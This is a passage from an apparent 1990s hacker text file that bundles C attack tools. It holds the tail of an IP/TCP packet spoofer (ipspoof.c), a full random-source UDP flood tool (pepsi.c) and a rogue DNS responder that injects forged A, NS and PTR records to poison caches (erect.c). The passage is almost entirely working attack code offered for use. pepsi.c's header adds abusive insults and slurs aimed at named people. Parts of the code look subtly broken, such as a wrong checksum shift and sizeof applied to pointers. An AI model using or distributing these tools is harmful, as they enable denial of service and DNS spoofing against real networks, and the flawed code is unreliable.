 bcopy(data,wewt+sizeof(struct tcphdr),datalen);
 return wewt;
}

void sendpack(char *fromhost, int fromport, char *tohost, int toport) {
 char *packet;
 char *tcppacket;
 char *sendme;
 static struct sockaddr_in local, remote;
 static int sock = 0;
 if (!sock) {
   resolve_address((struct sockaddr *)&local, fromhost, fromport);
   resolve_address((struct sockaddr *)&remote, tohost, toport);
   sock = socket(AF_INET, SOCK_RAW, 255);
   if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  }
   tcppacket = create_tcp(&local.sin_addr, &remote.sin_addr,
        local.sin_port, remote.sin_port, 795930600, 0, TH_SYN,
        NULL, 0);
   packet = create_ip(&local.sin_addr, &remote.sin_addr,
        6, 24, 4, NULL, 0);
   sendme = (struct iphdr *)packet;
   bcopy(tcppacket, sendme+sizeof(struct iphdr), sizeof(tcppacket));
   printf("the ip header is %d bytes long.\n", sizeof(struct iphdr));
   printf("the tcp header is %d bytes long.\n", sizeof(struct tcphdr));
   printf("the ip packet is %d bytes long.\n", sizeof(packet));
   printf("the tcp packet is %d bytes long.\n", sizeof(tcppacket));
   printf("the final packet is %d bytes long.\n", sizeof(sendme));
  {
   int result;

   result = sendto(sock, packet, sizeof(packet), 0,
        (struct sockaddr *)&remote, sizeof(remote));
   if (result != sizeof(packet)) { perror("sending packet"); }
  }
}

main(int argc, char **argv) {
if (argc!=5) {
 printf("usage: %s <from host> <from port> <to host> <to port>\n", argv[0]);
 exit(-1);
}
 printf("forging packet from %s.%d to %s.%d\n", argv[1], atoi(argv[2]),
        argv[3], atoi(argv[4]));
 sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));
}

---------------------ipspoof.c.


-------------pepsi.c

/*
 * pepsi.c 
 * Random Source Host UDP flooder
 *
 * Author: Soldier@data-t.org
 *
 * [12.25.1996] 
 *
 * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd,
 * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^
 * Toasty, [shadow], [magnus] and silitek, oh and Data-T.
 *
 * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity,
 * Yakuza for ripping my code,  #cha0s on the undernet for trying to port
 * it to win95, then ircOpers on efnet for being such cocksuckers 
 * especially prae for trying to call the fbi on me at least 5 times.
 * all warez pups i don't know for ripping off honest programers. 
 * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego 
 * the size of california.  
 * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker,
 * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN
 * INTERNET HISTORY, AMM.
 *
 * 
 * Disclaimer since i don't wanna go to jail
 *   - this is for educational purposes only
 *
 */

/* [Defines] */

#define FRIEND "My christmas present to the internet -Soldier"
#define VERSION "Pepsi.c v1.6"
#define DSTPORT 7
#define SRCPORT 19
#define PSIZE 1024
#define DWAIT 1

/* [Includes] */

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/protocols.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <netinet/ip_udp.h>
#include <string.h>
#include <pwd.h>


/* [Banner] */

void banner()
{
    printf("\t\t\t%s Author - Soldier  \n", VERSION);
    printf("\t\t\t         [10.27.96]    \n\n");
    printf("This Copy Registered to: %s\n\n", FRIEND);
}


 
/* [Option Parsing] */

struct sockaddr_in dstaddr;

unsigned long dst;

struct udphdr *udp;
struct iphdr *ip;

char *target;
char *srchost;

int dstport = 0;
int srcport = 0;
int numpacks = 0;
int psize = 0;
int wait = 0;

/* [Usage] */

void usage(char *pname)
{
    printf("usage:\n  ");
    printf("%s [-s src] [-n num] [-p size] [-d port] [-o port] [-w wait] <dest>\n\n", pname);
    printf("\t-s <src>    : source where packets are comming from\n");
    printf("\t-n <num>    : number of UDP packets to send\n");
    printf("\t-p <size>   : Packet Size               [Default is 1024]\n");
    printf("\t-d <port>   : Destination Port          [Default is  %.2d]\n", DSTPORT);
    printf("\t-o <port>   : Source Port               [Default is  %.2d]\n", SRCPORT);
    printf("\t-w <time>   : Wait time between packets [Default is    1]\n");
    printf("\t<dest>      : destination \n");
    printf("\n");
    exit(EXIT_SUCCESS);
}

/* [In chksum with some mods] */

unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

    while (nleft > 1) {
        sum += *w++;
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *) (&answer) = *(u_char *) w;
        sum += answer;
    }
    sum = (sum >> 17) + (sum & 0xffff);
    sum += (sum >> 17);
    answer = -sum;
    return (answer);
}

/* Resolve Functions */

unsigned long resolve(char *cp)
{
    struct hostent *hp;

    hp = gethostbyname(cp);
    if (!hp) {
        printf("[*] Unable to resolve %s\t\n", cp);
        exit(EXIT_FAILURE);
    }
    return ((unsigned long) hp->h_addr);
}

void resolvedest(void)
{
    struct hostent *host;

    memset(&dstaddr, 0, sizeof(struct sockaddr_in));
    dstaddr.sin_family = AF_INET;
    dstaddr.sin_addr.s_addr = inet_addr(target);
    if (dstaddr.sin_addr.s_addr == -1) {
        host = gethostbyname(target);
        if (host == NULL) {
            printf("[*] Unable To resolve %s\t\n", target);
            exit(EXIT_FAILURE);
        }
        dstaddr.sin_family = host->h_addrtype;
        memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length);
    }
    memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4);
}

/* Parsing Argz */

void parse_args(int argc, char *argv[])
{
    int opt;

    while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1)
        switch (opt) {
        case 's':
            srchost = (char *) malloc(strlen(optarg) + 1);
            strcpy(srchost, optarg);
            break;
        case 'd':
            dstport = atoi(optarg);
            break;
        case 'n':
            numpacks = atoi(optarg);
            break;
        case 'p':
            psize = atoi(optarg);
            break;
        case 'w':
            wait = atoi(optarg);
            break;
        case 'o':
            srcport = atoi(optarg);
            break;
        default:
            usage(argv[0]);
        }

    if (!dstport)
        dstport = DSTPORT;
    if (!srcport)
        srcport = SRCPORT;
    if (!psize)
        psize = PSIZE;
    if (!wait)
        wait = DWAIT;
    if (!argv[optind]) {
        puts("[*] Specify a target host, doof!");
        exit(EXIT_FAILURE);
    }
    target = (char *) malloc(strlen(argv[optind]));
    if (!target) {
        puts("[*] Agh!  Out of memory!");
        perror("malloc");
        exit(EXIT_FAILURE);
    }
    strcpy(target, argv[optind]);
}

/* [Send Packet] */

void main(int argc, char *argv[])
{
    int sen, i, unlim = 0, sec_check;
    char *packet;

    banner();

    if (argc < 2)
        usage(argv[0]);


    parse_args(argc, argv);

    resolvedest();

    printf("# Target Host          : %s\n", target);
    printf("# Source Host          : %s\n",
           (srchost && *srchost) ? srchost : "Random");
    if (!numpacks)
        printf("# Number               : Unliminted\n");
    else
        printf("# Number               : %d\n", numpacks);
    printf("# Packet Size          : %d\n", psize);
    printf("# Wait Time            : %d\n", wait);
    printf("# Dest Port            : %d\n", dstport);
    printf("# Source Port          : %d\n", srcport);

    sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    packet = (char *) malloc(sizeof(struct iphdr) +
                             sizeof(struct udphdr) +
                             psize);
    ip = (struct iphdr *) packet;
    udp = (struct udphdr *) (packet + sizeof(struct iphdr));
    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize);

    if (!numpacks) {
        unlim++;
        numpacks++;
    }
    if (srchost && *srchost)
        ip->saddr = resolve(srchost);
    ip->daddr = dst;
    ip->version = 4;
    ip->ihl = 5;
    ip->ttl = 255;
    ip->protocol = IPPROTO_UDP;
    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize);
    ip->check = in_cksum(ip, sizeof(struct iphdr));
    udp->source = htons(srcport);
    udp->dest = htons(dstport);
    udp->len = htons(sizeof(struct udphdr) + psize);

    for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) {
        if (!srchost)
            ip->saddr = rand();

        if (sendto(sen, packet, sizeof(struct iphdr) +
                   sizeof(struct udphdr) + psize,
                   0, (struct sockaddr *) &dstaddr,
                   sizeof(struct sockaddr_in)) == (-1)) {
            puts("[*] Error sending Packet");
            perror("SendPacket");
            exit(EXIT_FAILURE);
        }
        usleep(wait);
    }
}

----------------pepsi.c


------------------erect.c
/* #dioxide 1997 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <strings.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define VERSION         "Erect by Dioxide '97"

#define MAXBUFSIZE              64*1024
#define DC_A            1
#define DC_NS           2
#define DC_CNAME        5
#define DC_SOA          6
#define DC_WKS          11
#define DC_PTR          12
#define DC_HINFO        13
#define DC_MINFO        14
#define DC_MX           15
#define DC_TXT          16

typedef struct {
  unsigned short id;

  unsigned char  rd:1;           /* recursion desired */
  unsigned char  tc:1;           /* truncated message */
  unsigned char  aa:1;           /* authoritive answer */
  unsigned char  opcode:4;       /* purpose of message */
  unsigned char  qr:1;           /* response flag */

  unsigned char  rcode:4;        /* response code */
  unsigned char  unused:2;       /* unused bits */
  unsigned char  pr:1;           /* primary server required (non standard) */
  unsigned char  ra:1;           /* recursion available */

  unsigned short qdcount;
  unsigned short ancount;
  unsigned short nscount;
  unsigned short arcount;
} dnsheaderrec;

typedef struct {
  unsigned short labellen;
  char label[256];
  unsigned short type;
  unsigned short class;
  unsigned long ttl;
  unsigned short buflen;
  char buf[256];
} dnsrrrec;

typedef struct {
  dnsheaderrec h;

  dnsrrrec qd[20];
  dnsrrrec an[20];
  dnsrrrec ns[20];
  dnsrrrec ar[20];
} dnsrec;

char *dnssprintflabel(char *s, char *buf, char *p);
char *dnsaddlabel(char *p, char *label);
void dnstxt2rr(dnsrrrec *rr, char *b);
void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
char *dnsaddbuf(char *p, void *buf, short len);
int dnsmakerawpacket(dnsrec *dns, char *buf);
char *ip_to_arpa(char *ip);
char *arparize(char *ip);
char *get_token(char **src, char *token_sep);

char *dnssprintflabel(char *s, char *buf, char *p)
{
  unsigned short i,len;
  char *b=NULL;

  len=(unsigned short)*(p++);
  while (len) {
    while (len >= 0xC0) {
      if (!b)
        b=p+1;
      p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
      len=(unsigned short)*(p++);
    }

    for (i=0;i<len;i++)
      *(s++)=*(p++);

    *(s++)='.';

    len=(unsigned short)*(p++);
  }

  *(s++)=0;
  if (b)
    return(b);

  return(p);
}

char *dnsaddlabel(char *p, char *label)
{
  char *p1;

  while ((*label) && (label)) {
    if ((*label == '.') && (!*(label+1)))
      break;

    p1=strchr(label,'.');

    if (!p1)
      p1=strchr(label,0);

    *(p++)=p1-label;
    memcpy(p,label,p1-label);
    p+=p1-label;

    label=p1;
    if (*p1)
      label++;
  }
  *(p++)=0;

  return(p);
}

#define DEFAULTTTL 60*10

void dnstxt2rr(dnsrrrec *rr, char *b)
{
  char *tok[20], *p;
  unsigned short numt=0, i;
  static char *buf=NULL;

  if (!buf) {
    if ((buf=malloc(1024)) == NULL) {
      perror("malloc");
      exit(-1);
    }
  }

  strcpy(buf,b);
  p=strtok(buf," \t");
  do {
    tok[numt++]=p;
  } while (p=strtok(NULL," \t"));

  p=dnsaddlabel(rr->label,tok[0]);
  rr->labellen=p-rr->label;

  i=1;

  if (isdigit(*p))
    rr->ttl=htonl(atol(tok[i++]));
   else
    rr->ttl=htonl(DEFAULTTTL);

  if (strcmp(tok[i],"IN") == 0)
    i++;

  rr->class=htons(1);

  if (strcmp(tok[i],"A") == 0) {
    i++;
    rr->type=htons(DC_A);
    if (i < numt) {
      inet_aton(tok[i],rr->buf);
      rr->buflen=4;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"CNAME") == 0) {
    i++;
    rr->type=htons(DC_CNAME);
    if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"NS") == 0) {
    i++;
    rr->type=htons(DC_NS);
    if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"PTR") == 0) {
    i++;
    rr->type=htons(DC_PTR);
    if (i < numt) {
      p=dnsaddlabel(rr->buf,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }

  if (strcmp(tok[i],"MX") == 0) {
    i++;
    rr->type=htons(DC_MX);
    if (i < numt) {
      p=rr->buf;
      *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
      p=dnsaddlabel(p,tok[i]);
      rr->buflen=p-rr->buf;
    } else
      rr->buflen=0;
    return;
  }
}

void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
{
  int i;
  va_list va;

  dns->h.qdcount=htons(qdcount);
  dns->h.ancount=htons(ancount);
  dns->h.nscount=htons(nscount);
  dns->h.arcount=htons(arcount);
  dns->h.rcode=0;

  va_start(va, arcount);

  for (i=0;i<qdcount;i++)
    dnstxt2rr(&dns->qd[i],va_arg(va, char *));

  for (i=0;i<ancount;i++)
    dnstxt2rr(&dns->an[i],va_arg(va, char *));

  for (i=0;i<nscount;i++)
    dnstxt2rr(&dns->ns[i],va_arg(va, char *));

  for (i=0;i<arcount;i++)
    dnstxt2rr(&dns->ar[i],va_arg(va, char *));


  va_end(va);
}

char *dnsaddbuf(char *p, void *buf, short len)
{
  memcpy(p,buf,len);
  return(p+len);
}

int dnsmakerawpacket(dnsrec *dns, char *buf)
{
  char *p;
  int i;
  unsigned short len;

  memcpy(buf,&dns->h,sizeof(dnsheaderrec));

  p=buf+sizeof(dnsheaderrec);

  /********** Query ***********/
  for (i=0;i<ntohs(dns->h.qdcount);i++) {
    p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
    p=dnsaddbuf(p,&dns->qd[i].type,2);
    p=dnsaddbuf(p,&dns->qd[i].class,2);
  }

  /********** Answer ***********/
  for (i=0;i<ntohs(dns->h.ancount);i++) {
    p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
    p=dnsaddbuf(p,&dns->an[i].type,2);
    p=dnsaddbuf(p,&dns->an[i].class,2);
    p=dnsaddbuf(p,&dns->an[i].ttl,4);
    len=htons(dns->an[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  }

  /********** Nameservers ************/
  for (i=0;i<ntohs(dns->h.nscount);i++) {
    p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
    p=dnsaddbuf(p,&dns->ns[i].type,2);
    p=dnsaddbuf(p,&dns->ns[i].class,2);
    p=dnsaddbuf(p,&dns->ns[i].ttl,4);
    len=htons(dns->ns[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  }

  /********** Additional ************/
  for (i=0;i<ntohs(dns->h.arcount);i++) {
    p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
    p=dnsaddbuf(p,&dns->ar[i].type,2);
    p=dnsaddbuf(p,&dns->ar[i].class,2);
    p=dnsaddbuf(p,&dns->ar[i].ttl,4);
    len=htons(dns->ar[i].buflen);
    p=dnsaddbuf(p,&len,2);
    p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  }

  return(p-buf);
}


char *get_token(src, token_sep)
char **src;
char *token_sep;
{
        char    *tok;
        if (!(src && *src && **src))
                return NULL;
        while(**src && strchr(token_sep, **src))
                (*src)++;
        if(**src)
                tok = *src;
        else
                return NULL;
        *src = strpbrk(*src, token_sep);
        if (*src)
        {
                **src = '\0';
                (*src)++;
                while(**src && strchr(token_sep, **src))
                        (*src)++;
        }
        else
                *src = "";
        return tok;
}

char *ip_to_arpa(char *ip)
{
        char *arpablock, *bit_a, *bit_b, *bit_c;
        char *oomf;

        arpablock = NULL;
        arpablock = (char *)malloc(64);
        oomf = (char *)malloc(64);

        strcpy(oomf, ip);

        bit_a = get_token(&oomf, ".");
        bit_b = get_token(&oomf, ".");
        bit_c = get_token(&oomf, ".");
        
        sprintf(arpablock, "%s.%s.%s.in-addr.arpa", bit_c, bit_b, bit_a);

        return arpablock;

}
char *arparize(char *ip)
{
        char *arpa, *bit_a, *bit_b, *bit_c, *bit_d;
        char *oomf;

        arpa = NULL;
        arpa = (char *)malloc(64);
        oomf = (char *)malloc(64);

        strcpy(oomf, ip);

        bit_a = get_token(&oomf, ".");
        bit_b = get_token(&oomf, ".");
        bit_c = get_token(&oomf, ".");
        bit_d = oomf;
        
        sprintf(arpa, "%s.%s.%s.%s.in-addr.arpa", bit_d, bit_c, bit_b, bit_a);

        return arpa;

}


void main(int argc, char *argv[])
{
  int sock, fromlen, numread, len, query;
  struct sockaddr_in sa, from, to;
  char *buf, *sendbuf;
  char *domainnamebuf;
  dnsheaderrec *dns;
  char *p;
  dnsrec dnsh;
  char *addname, *fakens, *fakensip, *targetip, *spoofname, *targetblock;
  char *kludgeaddname, *kludgetargetblock;
  char *cache_line_1, *cache_line_2_1, *cache_line_2_2, *cache_line_3, *cache_line_4;
  char *ptr_line_1, *ptr_line_2, *klarpatargetip, *arpatargetip;

  if (argc < 6)
  {
        printf("usage: %s <lookupname> <fakenshost> <fakensip> <targetip> <spoofname>\n", argv[0]);
        printf("  lookupname : EG cacher.dioxide.com, used to initiate false caching\n");
        printf("  fakenshost : EG ns1.dioxide.com, server name to answer fake PTR's\n");
        printf("  fakensip   : EG 205.164.89.1, IP of server to answer fake PTR's\n");
        printf("  targetip   : EG 200.3.4.10, IP of machine you want to spoof from\n");
        printf("  spoofname  : EG bollox.org, name you want targetip to resolve as\n");
        exit(-1);
  }
  addname = argv[1];
  fakens = argv[2];
  fakensip = argv[3];
  targetip = argv[4];
  spoofname = argv[5];
  targetblock = (char *)malloc(64);
  targetblock = ip_to_arpa(targetip);
  kludgetargetblock = (char *)malloc(64);
  strcpy(kludgetargetblock, targetblock);
  strcat(kludgetargetblock, ".");
  kludgeaddname = (char *)malloc(64);
  strcpy(kludgeaddname, addname);
  strcat(kludgeaddname, ".");
  arpatargetip = (char *)malloc(256);
  arpatargetip = arparize(targetip);
  klarpatargetip = (char *)malloc(64);
  strcpy(klarpatargetip, arpatargetip);
  strcat(klarpatargetip, ".");

  cache_line_1 = (char *)malloc(256);
  cache_line_2_1 = (char *)malloc(256);
  cache_line_2_2 = (char *)malloc(256);
  cache_line_3 = (char *)malloc(256);
  cache_line_4 = (char *)malloc(256);
  ptr_line_1 = (char *)malloc(256);
  ptr_line_2 = (char *)malloc(256);
  sprintf(cache_line_1, "%s IN A", addname);
  sprintf(cache_line_2_1, "%s 5 IN A %s", addname, fakensip);
  sprintf(cache_line_2_2, "%s IN A %s", spoofname, targetip);
  sprintf(cache_line_3, "%s IN NS %s", targetblock, fakens);
  sprintf(cache_line_4, "%s IN A %s", fakens, fakensip);
 
  sprintf(ptr_line_1, "%s IN PTR", arpatargetip);
  sprintf(ptr_line_2, "%s IN PTR %s", arpatargetip, spoofname);
 
  printf("%s now running!\n", VERSION);
  printf("  lookupname : %s\n", addname);
  printf("  fakenshost : %s\n", fakens);
  printf("  fakensip   : %s\n", fakensip);
  printf("  targetip   : %s\n", targetip);
  printf("  spoofname  : %s\n\n", spoofname);
  printf("  TARGETARPA : %s\n", arpatargetip);
  printf("Waiting for connect...\n");


  if ((buf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
    perror("malloc");
    exit(-1);
  }

  if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
    perror("socket");
    exit(-1);
  }

  sa.sin_family = AF_INET;
/*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  sa.sin_addr.s_addr = INADDR_ANY;
  sa.sin_port = htons(53);
  
  if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
    perror("bind");
    exit(-1);
  }

  setvbuf(stdout,NULL,_IONBF,0);

  while (1) {
    fromlen=sizeof(from);
    if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
      perror("recvfrom");
      continue;
    }

    /* Kludge to stop that damn router */
    /*if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
      continue;*/

    dns=(dnsheaderrec *)buf;

    if (dns->qr)
      continue;

    p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
    query=ntohs(*(unsigned short *)p);
    printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);

        if (strcasecmp(domainnamebuf,kludgeaddname) == 0) {
                dnsbuildpacket(&dnsh,1,2,1,1,
                        cache_line_1,
                        cache_line_2_1,
                        cache_line_2_2,
                        cache_line_3,
                        cache_line_4);

    } else if (strcasecmp(domainnamebuf,klarpatargetip) == 0) {
         dnsbuildpacket(&dnsh,1,1,0,0,
                ptr_line_1,
                ptr_line_2);
            } else {
              /* Error */
              dnsh.h.rcode=5;
              strcat(domainnamebuf," IN A");
              dnsbuildpacket(&dnsh,1,0,0,0,
                domainnamebuf);
            }
    dnsh.qd[0].type=htons(query);

    dnsh.h.id=((dnsheaderrec *)buf)->id;
    dnsh.h.qr=1;
    dnsh.h.aa=1;
    
    len=dnsmakerawpacket(&dnsh,sendbuf);

    to.sin_family=AF_INET;
    to.sin_addr.s_addr=from.sin_addr.s_addr;
    to.sin_port=from.sin_port;

    if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
      perror("sendto");
      continue;
    }
  }
}

----------------erect.c

           1998 FW - Corporation
           
<<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>><<FW>>


